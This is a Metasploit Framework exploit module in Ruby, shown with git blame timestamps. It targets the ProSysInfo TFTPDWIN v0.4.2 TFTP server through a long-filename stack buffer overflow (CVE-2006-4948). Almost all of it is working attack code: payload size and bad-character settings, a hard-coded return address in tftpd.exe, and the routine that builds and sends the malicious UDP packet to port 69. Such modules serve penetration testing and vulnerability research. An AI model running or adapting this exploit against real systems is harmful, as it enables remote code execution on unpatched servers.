2007-10-03 12:17:37 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-10-03 12:17:37 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-10-03 12:17:37 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2007-10-03 12:17:37 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Udp
|
2007-10-03 12:17:37 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
|
2007-10-03 12:17:37 +00:00
|
|
|
an overly long file name to the tftpd.exe server, the stack can be overwritten.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2007-10-03 12:17:37 +00:00
|
|
|
[ 'CVE', '2006-4948' ],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '29032' ],
|
|
|
|
[ 'BID', '20131' ],
|
2012-06-28 19:27:12 +00:00
|
|
|
[ 'EDB', '3132' ],
|
2007-10-03 12:17:37 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 284,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
|
2007-10-03 12:17:37 +00:00
|
|
|
[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'Sep 21 2006',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(69),
|
|
|
|
], self)
|
2007-10-03 12:17:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_udp
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
|
|
|
|
sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
|
|
|
|
udp_sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-10-03 12:17:37 +00:00
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|